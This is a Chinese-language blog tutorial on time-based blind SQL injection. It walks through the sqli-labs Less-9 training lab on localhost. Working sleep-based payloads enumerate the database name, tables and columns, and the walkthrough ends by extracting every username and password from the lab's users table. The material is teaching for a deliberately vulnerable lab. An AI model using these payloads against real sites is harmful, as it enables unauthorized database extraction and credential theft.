SQL注入——基于时间的盲注(sqli-labs less9)
一.基于时间得盲注
适用场景:没有数据回显,条件正确与否结果一样
利用方式:构造判断条件,添加sleep,逐个猜测(盲猜)
1.所需语法与函数
IF表达式
IF( expr1 , expr2 , expr3 )
#expr1 的值为 TRUE,则返回值为 expr2
#expr1 的值为FALSE,则返回值为 expr3
expr1 的值为 TRUE,则返回值为 expr2 expr1 的值为FALSE,则返回值为 expr3
mysql> select if(1=1,1,0); #条件为真 返回1
+-------------+
| if(1=1,1,0) |
+-------------+
| 1 |
+-------------+mysql> select if(1=2,1,0); #条件为假 返回0
+-------------+
| if(1=2,1,0) |
+-------------+
| 0 |
+-------------+
count(列名) #查询当前列中的元组的个数
mysql> select username from users;
+----------+
| username |
+----------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
| 13 |
+-----------------+
sleep(n) 函数 睡眠n秒后执行。
select length(database())=8; #截取长度如果是8,返回1,否则返回0
select if(1=1,1,0) #判断赋值
select sleep(1) #睡眠n秒后执行
select sleep(if(select length(database()=8),1,0)) #如果数据库长度是8 睡1秒
select if(length(database=8),sleep(1),0) #等价于上面
二.举例说明
基于时间的盲注,以sqli-labs less-9 (第9关)为例
1.判断数据库名的长度以及名字
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),0) -- - #有明显延迟说明数据库名的长度是8
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ASCII(substr(database(),1,1))=115,sleep(5),0) -- - #有5s延迟说明第数据库的第一个字母对应的ASCII码是115 也就是s 以此类推数据库名security
判断出数据库名为security
2.判断库中含有的表名长度以及名字
2.1 使用count()函数,先确定表个数,然后再确定各个表的长度,再确定表名字
# 确定表的个数为4个
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if ((SELECT COUNT(table_name) FROM information_schema.tables WHERE TABLE_schema='security')=4,SLEEP(5),0) -- - # 确定第一个表名的长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(LENGTH((SELECT table_name from information_schema.TABLES where table_schema='security' limit 0,1))=6,sleep(5),0) -- -# 确定表名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT table_name from information_schema.TABLES where table_schema='security' limit 0,1),1,1))=101,SLEEP(5),0) -- --
依次类推 确定出所有表名 emails,referers,uagents,users.
2.2 一个技巧,不需猜测表名,表名长度
这里提供一个技巧,不需要猜测表名的个数以及表名的长度,语法如下:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_schema='security' LIMIT 0,1),7,1))>=1,SLEEP(5),0) -- -
根据这一步,依次往后测定如果为空字符的话,意味着第一个表名结束。比入依次测定出第一个表名的前6个字母为 emails 测定第7个的时候让ASCII>=1 没有延迟,说明这是一个空字符(ASCII码对应的0是空字符),意味着表名的结束,为了正确性,可以继续测定第8个,依旧是空字符。按照这个办法依次猜测后面的表名 分别为emails,referers,uagents,users.然后依照此办法依次猜测字段名,字段名的值。
2.3 使用group_concat()语句,简单方便
此方法将字段名下的所有值集中到一行,用此函数可以不用确定表的个数,不用确定表名,可以把所有表名加在一起的长度确定下来。
# 确定所有表名加在一起的长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(length((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'))=29,sleep(5),0) -- -
# group_concat()语句默认用逗号分隔,所以表名长度加逗号的长度一共是29# 依次猜测29个字符即可猜出表名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(SUBSTR((SELECT group_concat(table_name) from information_schema.TABLES where table_schema='security'),1,1))=101,SLEEP(5),0) -- -
3.判断字段名,为方便使用group_concat()语句
# 确定出users表中所有字段名的长度加上逗号的长度为20
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20,sleep(5),1) -- -# 依次确定字段名
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(ASCII(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105,sleep(5),0)-- -# 第一个字母对应的ascii码是105
# 依次进行猜测 猜测出字段名:id,username,password
4.同理得到username 和password的值。
4.1 username的值
# 猜出所有username值加上逗号得长度是91
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(username) from security.users))=91,SLEEP(5),0) -- -#猜测出username得值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(ASCII(substr((select group_concat(username) from security.users),1,1))=68,SLEEP(5),0)-- -Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
4.2 password的值
# 猜测出password的值加上逗号的长度是96
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
if(length((select group_concat(password) from security.users))=96,SLEEP(5),0) -- -# 猜测值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and
IF(ASCII(substr((select group_concat(password) from security.users),1,1))=68,SLEEP(5),0)-- -
Dumb,
I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
5.最终结果
username:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4password:
Dumb,
I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
SQL注入——基于时间的盲注(sqli-labs less9)相关推荐
- SQL注入——基于时间的盲注(九)
本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...
- SQL注入——基于布尔的盲注(八)
本章目的 普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论 基本概念 盲注 在SQL注入过程 ...
- SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!
在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...
- 渗透测试——sql注入进阶/基于时间的盲注/一看就会/
目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...
- mysql基于时间盲注_MYSQL基于时间的盲注详解
MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...
- 【SQL注入-05】布尔盲注案例
目录 1 概述 2 操作环境 3 操作具体步骤 3.1 判断是否存在注入点及注入的类型 3.2 测试数据库库名长度 3.3 逐个测试数据库库名的字符 3.4 测试该数据库中所有表名 3.5 测试use ...
- iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)
系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...
- 【SQL注入14】布尔盲注的半自动化实现(基于BurpSuite工具和sqli-labs-less8靶机平台)
目录 1 概述 2 实验简介 2.1 实验平台 2.2 实验目标 3 实验过程 3.1 判断注入点及注入类型 3.2 爆库名(踩坑) 3.3 爆库名(成功) 3.4 爆表名 3.5 爆字段名 3.6 ...
- SQL注入--报错和盲注
目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...
最新文章
- 日常该怎么处理繁杂的工作?用智办事更有序、高效!
- python的format输出报文_python构造IP报文实例
- c# 对文件的各种操作
- eclipse配置tomcat8.5
- 手机麦克风声音太大_全民K歌必备利器,得胜PH-125手机K歌麦克风让你轻松拥有好声音...
- 三阶魔方还原步骤图_研究人员开发的AI成功在1.2秒内还原三阶魔方
- 组策略链接顺序优先级
- SQL Server 审计
- 搜狗浏览器热搜怎么关 热搜关闭方法详解
- Window10 安装虚拟机搭建LInux系统
- 21 MM配置-采购-定义采购组
- 豆瓣高分JAVA书籍,你都读过吗?
- 聚类算法之K均值算法C++实现
- 微信小程序标签样式的优先级
- 找不到msvcr100.dll怎么办?三种方法教你
- Linux 系统编程 --文件IO-write()、read()、lseek()函数
- python day46
- Git使用简介一(入门级)
- python + 数学公式 + 图像 表白 LOVE YOU❤
- 目前缺少用于语义分割的 3D LiDAR 数据吗?关于三维点云数据集和方法的调查
热门文章
- 【Spring Security OAuth2笔记系列】- Spring Social第三方登录 - QQ登录下
- 日语笔记(3) 动词て形
- 中国门户网站现状和未来
- Arrays.sort() 实现降序排列 Comparator接口实现的坑
- 大义灭亲!博士生举报导师抄袭自己的研究成果,学校的操作亮了
- 图鉴:《100名互联网公司老板采访实录》
- 基于EasyNVR摄像机网页无插件直播服务二次开发实现H5播放页面的简单集成方案
- 沉睡者IT - 什么是Web3.0?
- CRUX OCR:腾讯云分析永久开放免费OCR服务
- 【搜索+DP】codevs1066-引水入城